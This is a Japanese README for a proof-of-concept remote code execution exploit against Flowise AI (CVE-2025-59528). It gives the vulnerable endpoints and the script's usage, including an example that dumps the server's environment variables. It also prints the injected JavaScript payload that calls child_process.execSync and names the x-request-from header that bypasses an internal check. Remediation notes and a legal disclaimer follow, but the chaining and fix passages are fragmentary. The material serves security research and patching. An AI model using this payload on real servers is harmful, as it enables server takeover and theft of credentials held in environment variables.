
Flowise AI バージョン ≤ 3.0.4 向けの認証済みリモートコード実行 (RCE) エクスプロイト。/api/v1/node-load-method/customMCP エンドポイントの脆弱性を悪用し、Node.js の child_process.execSync() を介して任意のシステムコマンドを実行します。完全な PoC スクリプトと修復手順が含まれます。
CVE ID: CVE-2025-59528
影響を受けるソフトウェア: Flowise AI
影響を受けるバージョン: <= 3.0.4
修正済みバージョン: 3.0.5 以降
深刻度: 緊急
作成者: r3nsi15
日付: 2025
Flowise AI バージョン 3.0.4 以下では、認証済みユーザーが /api/v1/node-load-method/customMCP エンドポイントに細工した JavaScript ペイロードを送信することで、ホストサーバー上で リモートコード実行 (RCE) を達成できます。
customMCP ノードの load メソッドは、ユーザーが制御する入力をサーバーサイドで JavaScript として評価しますが、十分なサニタイズやサンドボックス化は行われていません。Node.js の child_process.execSync を利用するペイロードを注入することで、攻撃者は Flowise サーバープロセスの権限で任意の OS コマンドを実行できます。
また、このエンドポイントには x-request-from: internal ヘッダーが存在する必要があります。
| エンドポイント | メソッド | 認証要件 | 目的 |
|---|---|---|---|
/api/v1/auth/login | POST | 不要 | 認証してセッションを取得 |
/api/v1/node-load-method/customMCP | POST | 必要(セッション Cookie) | 脆弱性のあるノード load メソッドのエンドポイント |
ファイル: CVE-2025-59528_POC.py
requests ライブラリpip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| フラグ | ロングフォーム | 必須 | 説明 |
|---|---|---|---|
-e | --email | 必須 | 認証済みユーザーのメールアドレス |
-i | --url | 必須 | Flowise インスタンスのベース URL |
-p | --password | 必須 | 認証済みユーザーのパスワード |
-c | --cmd | 必須 | サーバー上で実行する OS コマンド |
コード実行の確認:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
サーバーの環境変数の取得:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
このエクスプロイトは、以下の JavaScript 式を mcpServerConfig フィールドに注入します:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — Node.js 組み込みのプロセス実行モジュールを読み込みます。execSync('<command>') — 攻撃者が指定した OS コマンドを同期実行します。また、このリクエストには x-request-from: internal ヘッダーが付与されており、これがないと呼び出しをブロックする内部オリジンチェックを通過します。
customMCP エンドポイントは、サニタイズやサンドボックス化を行わずに、ユーザーが提供した入力をサーバー上の JavaScript 評価コンテキストに直接渡します。process.mainModule.require を介した Node.js コアモジュール(特に child_process)への無制限のアクセスと組み合わさることで、容易に悪用可能な RCE ベクターが生じます。x-request-from ヘッダーチェックは信頼できるソースに対して検証されないため、意味のあるセキュリティ境界とはなりません。
これら 2 つの脆弱性を 連鎖 させることで、バージョン <= 3.0.4 を実行している Flowise インスタンスに対して、認証なしの RCE 攻撃経路を構築できます:
vm2、分離コンテキスト、または process.mainModule へのアクセス削除)を介して、危険な Node.js モジュール(child_process、fs など)へのアクセスを制限する。x-request-from ヘッダーを検証および認証する。この概念実証コードは、教育および許可されたセキュリティ研究目的のみで提供されます。明示的な書面による許可なくこのスクリプトをシステムに対して使用することは、違法かつ非倫理的です。著者および貢献者は、誤用に対する一切の責任を負いません。